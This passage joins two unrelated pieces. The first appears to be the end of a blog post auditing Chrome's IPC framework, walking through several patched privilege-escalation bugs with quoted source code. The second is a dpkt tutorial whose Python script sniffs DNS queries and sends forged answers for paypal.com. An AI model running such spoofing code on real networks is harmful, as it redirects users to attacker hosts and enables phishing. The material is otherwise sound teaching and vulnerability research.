to untrusted inputs. Several vulnerabilities that were uncovered during my
audit are also presented to help illustrate what kind of vulnerabilities can
occur at various levels of process interaction.  
  
  
  
IPC Framework  
  
Chrome processes communicate with each other via an Inter-Process
Communication \(IPC\) messaging framework built in to the browser. For
Windows, named pipes are utilized, whereas linux builds use local Unix
sockets. Most of the code that implements the IPC framework is located within
the  _ipc/_ directory in the Chrome source tree. Apart from external OS
facilities \(such as the kernel\), the IPC interaction between Chrome
processes represents the largest local attack surface for potential privilege
escalation. In the event that a renderer process is compromised, it can
provide arbitrary requests to other more privileged processes that either
trigger a vulnerability in one of the privileged processes, or cause them to
perform a restricted operation on behalf of the renderer that inadvertently
exposes the system to further compromise. So, let's take a look at how it
works\!  
  
Channels  
  
The messaging framework provided by Chrome provides bidirectional
communication channels between two processes through the use of a Channel
object \(defined in  _ipc/ipc\_channel.cc_\). The Channel object has two key
member objects of interest to us:  

  1. **channel\_impl\_** \- A **ChannelImpl** object that actually implements the low level communications facilities.
  2. **listener\_** \- A listener object whose **OnMessageReceived\(\)** function is invoked whenever a message is successfully received from the communication channel. \(The class definition of **Listener** is defined in _ipc/ipc\_channel.h_ , but several other classes derive from it.\)

As indicated above, a **Listener** object is a special object that is
associated with a channel that handles incoming messages. It is used to
provide the desired functionality of a given process by exposing a number of
method callbacks that are invoked via the**Listener::OnMessageReceived\(\)**
function. This function typically does not handle many of the messages it
receives itself; instead, it routes the messages to one of a series of objects
that has been previously registered with the Listener object in question. Each
of these objects registered to the listener are uniquely identified by an ID
known as a routing ID, and contain a series of numbered callback methods that
clients may invoke. The number of the callback is unique to each object and is
referred to as a message type. In the case of the browser process, the
Listener object maintains a list of **MessageFilter** objects. The following
diagram shows this arrangement:  
<img src='img/Temp2_955.gif' />  
As you can see, each method may be uniquely identified by a pair of IDs: A
_routing ID_ and a  _message type ID_. We will see a bit later on when we look
at the message format that this pair of IDs is present in the Message header,
allowing messages to be routed with a simple two-step process:

  1. If the routing ID of the message is the special value**MSG\_ROUTING\_CONTROL** \(0x7FFFFFFF\), then the listener object itself is intended to handle the message. Otherwise, the message is routed to an appropriate object registered with the Listener that has a matching routing ID. If no registered object has the requested routing ID, an error is returned.
  2. Assuming an appropriate object has been located from step 1, a relevant callback function encapsulated within the selected object is selected based on the type value within the Message object.

**_Note_** _There is also a special case message sent at the initiation of a
connection: it has the special routing value MSG\_ROUTING\_NONE \(0xFFFFFFFE\)
and type HELLO\_MESSAGE\_TYPE \(0xFFFF\). This message is used to inform each
side of the connection with the other's process ID._  
Listener objects and registered message handling objects have
an**OnMessageReceived\(\)** function, which matches message types with
callback functions using the **IPC\_MESSAGE\_HANDLER\(\)**
or**IPC\_MESSAGE\_HANDLER\_DELAY\_REPLY\(\)** macros, as shown:  
bool ResourceMessageFilter::OnMessageReceived\(const IPC::Message& msg\) \{...
code ...IPC\_MESSAGE\_HANDLER\(ViewHostMsg\_CreateWindow,
OnMsgCreateWindow\)IPC\_MESSAGE\_HANDLER\(ViewHostMsg\_CreateWidget,
OnMsgCreateWidget\)IPC\_MESSAGE\_HANDLER\(ViewHostMsg\_SetCookie,
OnSetCookie\)IPC\_MESSAGE\_HANDLER\_DELAY\_REPLY\(ViewHostMsg\_GetCookies,
OnGetCookies\)IPC\_MESSAGE\_HANDLER\_DELAY\_REPLY\(ViewHostMsg\_GetRawCookies,
OnGetRawCookies\)IPC\_MESSAGE\_HANDLER\(ViewHostMsg\_DeleteCookie,
OnDeleteCookie\)IPC\_MESSAGE\_HANDLER\(ViewHostMsg\_GetCookiesEnabled,
OnGetCookiesEnabled\)\#if defined\(OS\_WIN\) // This hack is Windows-
specific.IPC\_MESSAGE\_HANDLER\(ViewHostMsg\_LoadFont,
OnLoadFont\)\#endifIPC\_MESSAGE\_HANDLER\_DELAY\_REPLY\(ViewHostMsg\_GetPlugins,
OnGetPlugins\)IPC\_MESSAGE\_HANDLER\(ViewHostMsg\_GetPluginPath,
OnGetPluginPath\)IPC\_MESSAGE\_HANDLER\(ViewHostMsg\_DownloadUrl,
OnDownloadUrl\)IPC\_MESSAGE\_HANDLER\_GENERIC\(ViewHostMsg\_ContextMenu,
OnReceiveContextMenuMsg\(msg\)\)IPC\_MESSAGE\_HANDLER\_DELAY\_REPLY\(ViewHostMsg\_OpenChannelToPlugin,
OnOpenChannelToPlugin\)IPC\_MESSAGE\_HANDLER\_DELAY\_REPLY\(ViewHostMsg\_LaunchNaCl,
OnLaunchNaCl\)IPC\_MESSAGE\_HANDLER\(ViewHostMsg\_CreateWorker,
OnCreateWorker\)IPC\_MESSAGE\_HANDLER\(ViewHostMsg\_LookupSharedWorker,
OnLookupSharedWorker\)IPC\_MESSAGE\_HANDLER\(ViewHostMsg\_DocumentDetached,
OnDocumentDetached\)  
... code ...\}  
The first parameter is a callback class name that contains an ID member that
signifies the message type, and the second parameter is the callback function
to invoke. We will discuss callback classes in more detail further on, but for
now we just need to be aware that this class is used to associate a message
type to a callback function. There are a vast number of message types exposed
by each different type of host, each with unique sets of parameters and return
values. For convenience, these message types are declared \(along with their
parameter types\) in the following files:  
  
**_chrome​/​common​/​render\_messages\_internal.h_**  

  * **ViewMsg\_\* - d** efines messages sent by the browser process to a renderer process
  * **ViewHostMsg\_\*** \- defines messages sent by a renderer process to the browser process

 _**chrome​/​common​/​plugin\_messages\_internal.h**_  

  * **PluginProcessMsg\_\*** \- defines messages sent from the browser to the​ plugin​ process
  * **PluginProcessHostMsg\_** \* - defines messages sent from theplugin​process to the browser
  * **PluginMsg\_** \* - defines messages sent from the renderer to the ​plugin​ process
  * **PluginHostMsg\_** \* - defines messages sent from the plugin​ process to the renderer process
  * **NPObjectMsg\_** \* - defines messages for dealing with NP Objects across process boundaries. Exchanged by both the renderer and the​ plugin process

** _chrome​/​common​/​worker\_messages\_internal.h_**  

  * **WorkerProcessMsg\_** \* - defines messages sent from the browser to the worker process
  * **WorkerProcessHostMsg\_** \* - defines messages sent from the worker process to the browser
  * **WorkerMsg\_** \* - defines messages sent from the renderer process to the worker process
  * **WorkerHostMsg\_** \* - defines messages sent from the worker process to the renderer

** _chrome​/​common​/​utility\_messages\_internal.h_**  

  * **UtilityMsg\_** \* - defines messages from the browser to the utility process
  * **UtilityHostMsg\_** \* - defines messages from the utility process to the browser

** _chrome​/​common​/​gpu\_messages\_internal.h_**  

  * **GpuMsg\_** \* - defines messages sent from the browser to the GPU process
  * **GpuHostMsg\_** \* - defines messages sent from the GPU process to the browser
  * **GpuChannelMsg\_** \* - defines messages sent from the renderer process to the GPU process
  * **GpuCommandBufferMsg\_** \* - defines messages sent from the renderer process to the GPU process

** _chrome​/​common​/​nacl\_messages\_internal.h_**  

  * **NaClProcessMsg\_** \*- defines messages sent from the browser to the​ NaCl​ process

  
Inspection of these files will show that a message type is declared with the
**IPC\_MESSAGE\_CONTROLXXX\(\),** **IPC\_MESSAGE\_ROUTEDXXX\(\)**
,**IPC\_MESSAGE\_CONTROLXXX\_YYY\(\)** ,
or**IPC\_MESSAGE\_ROUTEDXXX\_YYY\(\)** macros \(where XXX and YYY can be 0 -
4, indicating the number of parameters a message receives and returns
respectively\). Some example declarations are shown.  
// Used to set a cookie. The cookie is set asynchronously, but will be//
available to a subsequent ViewHostMsg\_GetCookies
request.IPC\_MESSAGE\_ROUTED3\(ViewHostMsg\_SetCookie, GURL /\* url \*/, GURL
/\* first\_party\_for\_cookies \*/, std::string /\* cookie \*/\)  
// Used to get raw cookie information for the given URL. This may be blocked//
by a user prompt to validate a previous SetCookie
message.IPC\_SYNC\_MESSAGE\_ROUTED2\_1\(ViewHostMsg\_GetRawCookies, GURL /\*
url \*/, GURL /\* first\_party\_for\_cookies \*/,
std::vector<webkit\_glue::webcookie></webkit\_glue::webcookie> /\*
raw\_cookies \*/\)  
// Used to delete cookie for the given URL and
nameIPC\_SYNC\_MESSAGE\_CONTROL2\_0\(ViewHostMsg\_DeleteCookie, GURL /\* url
\*/, std::string /\* cookie\_name \*/\)  
We will revisit these macros a bit later on, but for now we can see that
cross-referencing all the defined message type classes from the above-
mentioned files with where they are associated with a callback function \(ie.
where the message class is used as a parameter to
the**IPC\_MESSAGE\_HANDLER\(\)** macro\), we can find the implementation of
each routine exposed over IPC, what data types they take, and what data they
return. \(We will discuss the marshalling of such parameters shortly.\)
Therefore, we are able to enumerate the exposed function attack surface and
review each callback for possible flaws. For each of these functions, we must
be mindful of typical vulnerabilities related to integer manipulation,
dangerous memory management patterns \(use after free etc\), and standard
buffer or pointer-related errors.  
**_Example 1 - Worker Process Message Forwarding_**  
Here is an example of a memory manipulation error that can be triggered in the
browser process by a sandboxed renderer process. Chrome has the notion of
'Worker Processes' \(which are also sandboxed\) which renderers may start by
sending the browser a**ViewHostMsg\_CreateWorker** message. It may then
subsequently send arbitrary messages destined for the worker process that are
routed through the privileged browser process. The code to perform this
forwarding is implemented in the**WorkerProcessHost::OnMessageReceived\(\)**
function \(from _chrome/browser/worker\_host/worker\_process\_host.cc_\):  
  
for \(Instances::iterator i = instances\_.begin\(\); i \!=
instances\_.end\(\); ++i\) \{ if \(i->worker\_route\_id\(\) ==
message.routing\_id\(\)\) \{ if \(\!i->shared\(\)\) \{ // Don't relay messages
from shared workers \(all communication is via // the message port\).
WorkerInstance::SenderInfo info = i->GetSender\(\);
CallbackWithReturnValue<int>::Type\* next\_route\_id =
GetNextRouteIdCallback\(info.first\); RelayMessage\(message, info.first,
info.second, next\_route\_id\); \}  
if \(message.type\(\) == WorkerHostMsg\_WorkerContextDestroyed::ID\) \{
instances\_.erase\(i\); UpdateTitle\(\); \} break; \}\}  
Assuming an appropriate worker process has been found, the RelayMessage\(\)
function is called:  
void WorkerProcessHost::RelayMessage\(const IPC::Message& message,
IPC::Message::Sender\* sender, int route\_id,
CallbackWithReturnValue<int>::Type\* next\_route\_id\)  
<int>\{ if \(message.type\(\) == WorkerMsg\_PostMessage::ID\) \{ // We want to
send the receiver a routing id for the new channel, so // crack the message
first. string16 msg; std::vector<int> sent\_message\_port\_ids;
std::vector<int> new\_routing\_ids; if \(\!WorkerMsg\_PostMessage::Read\(
&message, &msg, &sent\_message\_port\_ids, &new\_routing\_ids\)\) \{ return;
\} DCHECK\(sent\_message\_port\_ids.size\(\) == new\_routing\_ids.size\(\)\);  
for \(size\_t i = 0; i < sent\_message\_port\_ids.size\(\); ++i\) \{
new\_routing\_ids\[i\] = next\_route\_id->Run\(\);
MessagePortDispatcher::GetInstance\(\)->UpdateMessagePort\(
sent\_message\_port\_ids\[i\], sender, new\_routing\_ids\[i\],
next\_route\_id\); \}  
The code here reads two vectors from the input message and proceeds to fill
one of them \(**new\_routing\_ids**\) out. The loop featured above will write
elements in to **new\_routing\_ids** according to the size
of**send\_message\_port\_ids**. Therefore, if **new\_routing\_ids** is smaller
than **sent\_message\_port\_ids** , then this loop will end up writing data to
an out of bounds memory location, resulting in a buffer overflow. This bug of
course hinges on the fact that the vector operator\[\] function does not do
validation on the index passed to it, which is the case for g++, but not for
Microsoft STL implementations. This bug was fixed in February of this year
\(http://src.chromium.org/viewvc/chrome?view=rev&revision=38209\).  
_**Note**_ _The code above appears to do a sanity check with the DCHECK\(\)
line preceding the loop, however closer inspection will reveal that DCHECK\(\)
assertions are only present in debug builds, and are not compiled in to
release builds._  
In addition to memory corruption, we must also keep in mind the higher-level
consequences of being able to randomly call any of these functions:  

  1. Is there a way to call certain functions in an unexpected way due to an expected sequence of IPC calls?
  2. Does the function perform any operation that would represent a potential security problem? For example, will it let us write arbitrary files to locations that we couldn't normally write to due to sandbox restrictions?

  
_**Example 2 - Clipboard Type Confusion Vulnerability**_  
This bug is actually a type confusion vulnerability but stems from an
unexpected invocation of one of the standard clipboard messages that a
renderer may send a browser. The browser exposes two functions for writing to
the clipboard - **ViewHostMsg\_ClipboardWriteObjectsSync** and
**ViewHostMsg\_ClipboardWriteObjectsAsync**. They are both exposed to IPC via
the **ResourceMessageFilter** object \(implemented in
_chrome/browser/renderer\_host/resource\_message\_filter.cc_\). As their
respective names imply, they are used to write objects to the clipboard - with
the former function performing a synchronous write and the latter performing
an asynchronous one. In each case, the parameter passed by the user is a
**std::map < int, vector <> >**. For each pair in the map, the integer value
denotes the type of object to be written to the clipboard, and the **vector
<>** is essentially a buffer containing the contents. The function that stores
the data in the clipboard is the**Clipboard::DispatchObject\(\)** function,
which performs sanity checking on the data for various object types before
storing them. The object type of interest to us is the **CBF\_SMBITMAP** type:  
case CBF\_SMBITMAP: \{  
using base::SharedMemory;  
using base::SharedMemoryHandle;  
  
if \(params\[0\].size\(\) \!= sizeof\(SharedMemory\*\)\)  
return;  
  
// It's OK to cast away constness here since we map the handle as  
// read-only.  
const char\* raw\_bitmap\_data\_const =  
reinterpret\_cast<const char\*>\(&\(params\[0\].front\(\)\)\);  
char\* raw\_bitmap\_data = const\_cast<char\*>\(raw\_bitmap\_data\_const\);  
scoped\_ptr<SharedMemory> bitmap\_data\(  
\*reinterpret\_cast<SharedMemory\*\*>\(raw\_bitmap\_data\)\);  
  
if \(\!ValidateAndMapSharedBitmap\(params, bitmap\_data.get\(\)\)\)  
return;  
WriteBitmap\(static\_cast<const char\*>\(bitmap\_data->memory\(\)\),  
&\(params\[1\].front\(\)\)\);  
break;  
\}  
As can be seen, the buffer contents supplied by the user is actually
interpreted as a pointer to a **SharedMemory** object. Thus, it would seem
that the user is able to specify an arbitrary pointer that is interpreted as a
pointer to an object. However, this is not entirely correct. We see that
in**ResourceMessageFilter::OnClipboardWriteObjectsSync\(\)** \(the function
exposed to IPC For**ViewHostMsg\_ClipboardWriteObjectsSync**\), the buffer
supplied by the user for **CBF\_SMBITMAP** where the pointer is taken from is
actually replaced with a valid pointer by the browser process.  
  
void ResourceMessageFilter::OnClipboardWriteObjectsSync\( const
Clipboard::ObjectMap& objects, base::SharedMemoryHandle bitmap\_handle\)  
\{ DCHECK\(base::SharedMemory::IsHandleValid\(bitmap\_handle\)\) << "Bad
bitmap handle"; // We cannot write directly from the IO thread, and cannot
service the IPC // on the UI thread. We'll copy the relevant data and get a
handle to any // shared memory so it doesn't go away when we resume the
renderer, and post // a task to perform the write on the UI thread.
Clipboard::ObjectMap\* long\_living\_objects = new
Clipboard::ObjectMap\(objects\);  
// Splice the shared memory handle into the clipboard data.
Clipboard::ReplaceSharedMemHandle\(long\_living\_objects, bitmap\_handle,
handle\(\)\);  
ChromeThread::PostTask\( ChromeThread::UI, FROM\_HERE, new
WriteClipboardTask\(long\_living\_objects\)\);\}  
  
The actual replacement is performed
by**Clipboard::ReplaceSharedMemHandle\(\).** The problem is that objects of
type **CBF\_SMBITMAP** are only ever expected to appear
in**ViewHostMsg\_ClipboardWriterObjectsSyncmessages** , and not expected in
**ViewHostMsg\_ClipboardWriteObjectsAsync** messages. Therefore, the
**Clipboard::ReplaceSharedMemHandle\(\)** function is never called for the
latter:  
  
void ResourceMessageFilter::OnClipboardWriteObjectsAsync\( const
Clipboard::ObjectMap& objects\)  
\{ // We cannot write directly from the IO thread, and cannot service the IPC
// on the UI thread. We'll copy the relevant data and post a task to preform
// the write on the UI thread.  
Clipboard::ObjectMap\* long\_living\_objects = new
Clipboard::ObjectMap\(objects\);  
ChromeThread::PostTask\( ChromeThread::UI, FROM\_HERE,  
new WriteClipboardTask\(long\_living\_objects\)\);\}  
  
Therefore, by calling the **ViewHostMsg\_ClipboardWriteObjectAsync** method
from a renderer with a **CBF\_SMBITMAP** object in our parameter array, it is
possible to provide an arbitrary pointer that will be later cast to an object
and utilized, thus resulting in potential arbitrary execution. This bug was
fixed in June of this year
\(http://src.chromium.org/viewvc/chrome?view=rev&revision=46639\).  
You should keep in mind that the attack surface might also include IPC
functions exposed by the local unprivileged process. If the local process
exposes methods that return data to a more privileged process, they might be
able to supply malformed or unexpected responses that will result in
vulnerabilities when being processed by the client.  
Messages  
So far we have looked at the functions exposed over IPC, how to enumerate
them, and how to determine what parameters may be passed to them. But we
skipped some important details - how exactly are these functions invoked? And
how are parameters transported from one process to the other? The answer to
these questions requires us to look at some of the lower level transmission
details a little more closely, which we will do here.  
The basic unit for transmission across IPC channels is the Message object
\(defined in  _ipc/ipc\_message.h_\). Message objects are structured as
follows.  
<img src='img/Temp2_956.gif' />  
Messages are processed in the order they are received from the communications
channel by the**ChannelImpl::ProcessIncomingMessage\(\)** function
\(implemented within  _ipc/ipc\_channel\_win.cc_ or
_ipc/ipc\_channel\_posix.cc_ depending on the target platform\). This is
perhaps the lowest-level input vector \(save for OS-level problems\) for
targeting higher-privileged processes via the IPC framework. Here, we can
examine how messages are received, buffered, and decapsulated. We might expect
to find integer-related errors due to message lengths, out-of-state errors
problems due to unexpected flag fields and such \(which we didn't cover here -
this is an exercise left to the reader\), or poor descriptor manipulation for
Unix implementations.  
As we already know, once messages have been successfully received, they are
routed to an appropriate callback function through the use of a routing ID and
message type, both of which are present in the Message header. The
**IPC\_MESSAGE\_HANDLER\(\)** macros actually expand to a case statement based
on the message type. The remainder of the message data is interpreted as a set
of parameters for the called function, or for results of a called function in
the case of reply messages.  
Parameter Deserialization  
Previously, we looked at how callback classes were associated with callback
routines exposed over IPC. We also introduced the**IPC\_MESSAGE\_ROUTED\(\)**
families of macros that indicate the parameters that each function will take.
These macros actually build definitions of the named callback classes based on
the parameters provided to the macro. Callback classes indicated by the first
parameter are all derived from **IPC::Message** or **IPC::MessageWithTuple < >
**and contain key elements needed to invoke the callback function correctly.
Firstly, each object contains the aforementioned static ID member that is used
to match messages type IDs to desired functions, and secondly,
a**Dispatch\(\)** method is implemented for each class that performs the
necessary parameter deserialization from the message blob and passes the
resultant parameters to the destination callback function. Note that in the
case of callback functions with no parameters, the IPC::Message class is used,
which does not need to do any parameter deserialization. Otherwise,
**IPC::MessageWithTuple < >** is derived from, with the data types of the
expected parameters indicated as template parameters to the class.  
So, the **MessageWithTuple < >::Dispatch\(\) **function must unpack parameters
intended for the callback function from the message data. This is achieved
with the **MessageWithTuple < >::Read\(\)** function, which uses several
layers of templating indirection to call the correct deserialization routine.
Likewise, **MessageWithTuple < >::Write\(\) **will cause relevant output
parameters to be written to a message for transmitting a result. The
**Message** class derives from the **Pickle** class \(implemented in
_base/pickle.cc_\), which contains functions for reading basic data types such
integers, strings, and bools. Callbacks that take basic types as parameters
essentially use these functions directly.  
For more complicated data structures, unpacking and packing is achieved by
calling another templatized method: **ParamTraits <> ::Read\(\) **and
**ParamTraits <> ::Write\(\)**, where 'type' is the expected data structure
being read or written. So, for every possible data structure received by a
callback function, there is a matching **ParamTraits <>**implementation. An
example for the **gfx::Point** object is shown:  
bool ParamTraits<gfx::Point>::Read\(const Message\* m, void\*\* iter,  
gfx::Point\* r\) \{  
int x, y;  
if \(\!m->ReadInt\(iter, &x\) ||  
\!m->ReadInt\(iter, &y\)\)  
return false;  
r->set\_x\(x\);  
r->set\_y\(y\);  
return true;  
\}  
  
void ParamTraits<gfx::Point>::Write\(Message\* m, const gfx::Point& p\) \{  
m->WriteInt\(p.x\(\)\);  
m->WriteInt\(p.y\(\)\);  
\}  
  
Most of the **ParamTraits < >** implementations are located within the
following files:  
_chrome/common/common\_param\_traits.h_
_chrome/common/common\_param\_traits.cc_ _chrome/common/gpu\_messages.h_
_chrome/common/plugin\_messages.h_ _chrome/common/render\_messages.h_
_chrome/common/utility\_messages.h_ _chrome/common/webkit\_param\_traits.h_
_ipc/ipc\_message\_utils.cc_ _ipc/ipc\_message\_utils.h_  
The type deserialization routines are another broad attack surface that can be
targeted by untrusted processes looking to perform privilege escalation
attacks. There are a large number of data structures that contain relatively
complex data structures, and they make likely candidates for memory
corruption-style vulnerabilities, especially due to integer manipulation
problems.  
_**Example 3 - SkBitmap Deserialization**_  
**SkBitmap** structures are used to transmit bitmap data between processes
over IPC. The **SkBitmap** structure looks like this:  
  
class SkBitmap \{... uint32\_t fRowBytes; uint32\_t fWidth; uint32\_t fHeight;
uint8\_t fConfig; uint8\_t fFlags; uint8\_t fBytesPerPixel; // based on
config\};  
**ParamTraits < SkBitmap > ::Read\(\)** allows a largely
unchecked**SkBitmap\_Data** structure to be used to create an **SkBitmap** :  
bool ParamTraits<SkBitmap>::Read\(const Message\* m, void\*\* iter, SkBitmap\*
r\) \{  
const char\* fixed\_data;  
int fixed\_data\_size = 0;  
if \(\!m->ReadData\(iter, &fixed\_data, &fixed\_data\_size\) ||  
\(fixed\_data\_size <= 0\)\) \{  
NOTREACHED\(\);  
return false;  
\}  
if \(fixed\_data\_size \!= sizeof\(SkBitmap\_Data\)\)  
return false; // Message is malformed.  
  
const char\* variable\_data;  
int variable\_data\_size = 0;  
if \(\!m->ReadData\(iter, &variable\_data, &variable\_data\_size\) ||  
\(variable\_data\_size < 0\)\) \{  
NOTREACHED\(\);  
return false;  
\}  
const SkBitmap\_Data\* bmp\_data =  
reinterpret\_cast<const SkBitmap\_Data\*>\(fixed\_data\);  
return bmp\_data->InitSkBitmapFromData\(r, variable\_data,
variable\_data\_size\);  
\}  
While the **allocPixels\(\)** function \(called
from**InitSkBitmapFromData\(\)**\) protects from integer overflows, it does so
by checking that**fHeight \* fRowBytes** do not overflow. However, **fWidth**
can be desynchronized from **fRowBytes**\(that is, **fWidth** is not checked
to be valid in relation to the **fHeight** and **fRowBytes** members\), which
in turn can create problems in the privileged process. For example, when the
**SkBitmap** is stored in a Thumbnail store \(via the
**ViewHostMsg\_Thumbnail** message\), the **JPEGCodec** encodes the data from
the **SkBitmap** , which does calculations based on the images' **fWidth**
value, not **fRowBytes**. This bug was fixed in December of last year
\(http://src.chromium.org/viewvc/chrome?view=rev&revision=35371\).  
In addition to memory corruption-style vulnerabilities, it is important to
keep an eye out for data structures that maintain some sort of internal state
information. In this case, it might be possible to alter that state in an
unexpected way and cause processing vulnerabilities due to the desynchronized
structure.  
_**Example 4 - Plugin Messages**_  
Quite a large number of messages exchanged between the renderer process and
the plugin process were found to contain data structures that had internal
pointer fields. These pointers were never used by the renderer \(as they are
only valid in the context of the plugin process\), but were transmitted back
and forth as part of a way to maintain state of persistent data structures.
One such example is **NPVariant\_Params** structure defined in
_chrome/common/plugin\_messages.h_. This data structure was defined as:  
  
struct NPVariant\_Param \{ NPVariant\_ParamEnum type; bool bool\_value; int
int\_value; double double\_value; std::string string\_value; int
npobject\_routing\_id; intptr\_t npobject\_pointer;\};  
Essentially, it is used to transmit an **NPVariant** object between processes
as part of invocation or property getting/setting of plugin scriptable
objects. The **NPVariant** data structure is read using**ParamTraits <
NPVariant\_Param > ::Read\(\)**:  
static bool Read\(const Message\* m, void\*\* iter, param\_type\* r\) \{ ...
code ...  
\} else if \(r->type == NPVARIANT\_PARAM\_OBJECT\_ROUTING\_ID\) \{ result =
ReadParam\(m, iter, &r->npobject\_routing\_id\) && ReadParam\(m, iter,
&r->npobject\_pointer\); \} else if \(r->type ==
NPVARIANT\_PARAM\_OBJECT\_POINTER\) \{ result = ReadParam\(m, iter,
&r->npobject\_pointer\); \} else if \(\(r->type == NPVARIANT\_PARAM\_VOID\) ||
\(r->type == NPVARIANT\_PARAM\_NULL\)\) \{ result = true; \} else \{
NOTREACHED\(\); \} return result;\}  
As can be seen, the **NPVariant\_Params** passed as arguments to**Invoke\(\)**
can contain arbitrary pointers if they are of
type**NPVARIANT\_PARAM\_OBJECT\_ROUTING\_ID**
or**NPVARIANT\_PARAM\_OBJECT\_POINTER**. These pointers are subsequently
treated as valid **NPObject** pointers when passed to the destination plugin
function. This can easily lead to arbitrary execution.  
Handle Sharing  
You will notice that there are numerous instances where handles to objects are
shared across processes. For Windows versions of Chrome, passing handles to
other processes is typically achieved using the**DuplicateHandle\(\)**
function, and then passing the resultant **HANDLE** value to the remote
process. For Unix, socket descriptors are passed over the local Unix socket
using **SCM\_RIGHTS** ancillary messages. The descriptors passed over the
sockets are then referenced by index from the array of socket descriptors
received by the same message. Most of the socket descriptor sanitation takes
place in the**ChannelImpl::ProcessIncomingMessage\(\)** function that was
mentioned earlier. Passing resources between processes needs to be done quite
carefully, as potentially sensitive resources are being handed to privileges
of lesser privilege. I found an example of this type of problem, however the
Google Chrome security team had already found it and patched it by the time I
reported it. Still, it makes a good case study, so we will briefly mention it
here.  
_**Example 5 - Database File Manipulation**_  
Chrome provides a number of methods to manipulate database files, exposed
through the **DatabaseDispatcherHost** object\(implemented in
_chrome/browser/renderer\_host/database\_dispatcher\_host.cc_\). Several of
these messages resulted in the opening of a database file of the callers
choosing, although the database file given would be pre-pended with a fixed
database path. The work for generating the filename is implemented within
**DatabaseUtil::GetFullFilePathForVfsFile\(\)**
and**DatabaseUtil::CrackVfsFilename** \(both implemented in
_webkit/database/database\_util.cc_\).  
Conclusion  
The IPC framework is a large and ripe attack surface. Hopefully this article
has helped to demystify some of its inner workings and provided a rough guide
to how one might go about auditing it. Tune in for my final post where I will
discuss the sandbox implementation itself, how it works, and also provide some
examples of vulnerabilities that were uncovered there. Labels: Browsers,
Chrome, Privilege Escalation, Sandbox,Vulnerabilities

# jon.oberheide.org - blog - dpkt tutorial \#3: dns spoofing

**Created:**| _6/22/2009 1:04:22 PM_  
---|---  
**Updated:**| _6/22/2009 1:04:30 PM_  
**Author:**| __  
**Tags:**| _packet-analysis Tutorials_  
  

# dpkt Tutorial \#3: DNS Spoofing

In our first and second dpkt tutorials, we looked at the simple construction
and parsing of packets respectively. Our third tutorial combines both parsing
and construction of packets in a single utility for performing DNS spoofing
\(a la dsniff’s dnsspoof\).

dpkt is a sweet framework for creating and parsing packets. While dpkt doesn’t
have much documentation, once you get the hang of using one module, the rest
fall into place fairly easily. I’ll be doing a number of dpkt tutorials with
simple tasks in hopes of providing some “documentation by example”. If you
have any tasks you’d like to see done in dpkt, drop me a line.

In this tutorial, we’ll use dpkt to parse DNS requests observed on the wire
and construct spoofed DNS responses to send back. We’ll also be using the dnet
and pypcap libraries in this example. Since you’ve certainly read the first
two tutorials before this one, we will assume you are familiar with the basic
methods of parsing and constructing packets using dpkt.

One of the most common usages of dpkt is to parse packets off the wire, which
pypcap makes easy. We’ll start off by setting pypcap’s BPF expression to “udp
dst port 53″ since we only want to look at DNS queries and parse each of the
packets handed to us using dpkt:

[code]

    pc = pcap.pcap()
    pc.setfilter('udp dst port 53')
    
    for ts, pkt in pc:
        eth = dpkt.ethernet.Ethernet(pkt)
        ip = eth.data
        udp = ip.data
        dns = dpkt.dns.DNS(udp.data)
    
[/code]

Next, we need to perform some validation on the parsed DNS payload since we
only want to spoof responses to legitimate DNS queries. In this next snippet,
we ensure that the DNS payload is indeed a query, has a single RR in the
question section, has no answer or nameserver RRs, and that the RR in the
question section is for an A record and the IN class:

[code]

    if dns.qr != dpkt.dns.DNS_Q:
        continue
    if dns.opcode != dpkt.dns.DNS_QUERY:
        continue
    if len(dns.qd) != 1:
        continue
    if len(dns.an) != 0:
        continue
    if len(dns.ns) != 0:
        continue
    if dns.qd[0].cls != dpkt.dns.DNS_IN:
        continue
    if dns.qd[0].type != dpkt.dns.DNS_A:
        continue
    
[/code]

As seen from the above snippet, the dpkt DNS module parses the various
sections of the DNS payload \(qd, an, ns, ar\) into python lists. This will
come in handy later when constructing our response. In addition to validating
the DNS payload, we only want to spoof responses for particular domains. In
this case, we’ll only spoof responses for paypal.com:

[code]

    if dns.qd[0].name != 'paypal.com':
        continue
    
[/code]

Now that we’ve parsed and decoded the DNS query, we need to construct our
spoofed response and send it back to the client. Instead of constructing a new
packet from scratch, we can simply reuse the existing one and modify it
appropriately. We start by setting the attributes of the DNS header indicating
that it is a response:

[code]

    dns.op = dpkt.dns.DNS_RA
    dns.rcode = dpkt.dns.DNS_RCODE_NOERR
    dns.qr = dpkt.dns.DNS_R
    
[/code]

Next, we need to create our fake RR that will be included in the answer
section of the DNS response. We do this by creating an object of the type
dpkt.dns.DNS.RR and filling in its attributes:

[code]

    arr = dpkt.dns.DNS.RR()
    arr.cls = dpkt.dns.DNS_IN
    arr.type = dpkt.dns.DNS_A
    arr.name = 'paypal.com'
    arr.ip = dnet.addr('127.0.0.1').ip
    
[/code]

For the purposes of this tutorial, our spoofed answer RR will claim that
paypal.com is at 127.0.0.1. We now need to add this newly created RR to the
answer section of the DNS payload. Since dns.an is a python list, we can
simply append the arr object to it:

[code]

    dns.an.append(arr)
    
[/code]

If we print out the dns object, we can see the correct RRs in the question and
answer sections:

[code]

    >>> print dns
    DNS(an=[RR(name='paypal.com')], qd=[Q(name='paypal.com')], id=21825, op=32896)
    
[/code]

Now that our DNS payload is complete, we must fix up the UDP and IP layers of
our original packet. Since we’re reusing the existing packet and want to send
the reply back to the client while acting like we’re the server, we can just
swap the src/dst ports and addresses:

[code]

    udp.sport, udp.dport = udp.dport, udp.sport
    ip.src, ip.dst = ip.dst, ip.src
    
[/code]

Next, we need to tack on our new DNS payload. We do this by assigning the dns
object to the udp object’s data attribute. And since we’ve modified the length
of the DNS payload, we need to update the length attributes of the UDP and IP
layers appropriately:

[code]

    udp.data = dns
    udp.ulen = len(udp)
    ip.len = len(ip)
    
[/code]

We can take a look at our full payload containing the IP, UDP, and DNS
payloads:

[code]

    >>> print ip
    IP(src='\x8d\xd5\x04\x04', off=16384, dst='\x8d\xd4n\xa3', sum=3577, len=72,
    p=17, id=40555, data=UDP(dport=49008, sum=36486, sport=53, ulen=52,
    data=DNS(an=[RR(name='paypal.com')], qd=[Q(name='paypal.com')], id=21825, op=32896)))
    
[/code]

Finally, we can checksum and send out the payload buffer through our raw
socket:

[code]

    buf = dnet.ip_checksum(str(ip))
    sock.send(buf)
    
[/code]

That concludes this dpkt tutorial\! When we run the DNS spoofing script and
attempt to contact paypal.com, we see that it successfully spoofs the reply:

[code]

    jonojono@jonojono ~ $ ping paypal.com
    PING paypal.com (127.0.0.1) 56(84) bytes of data.
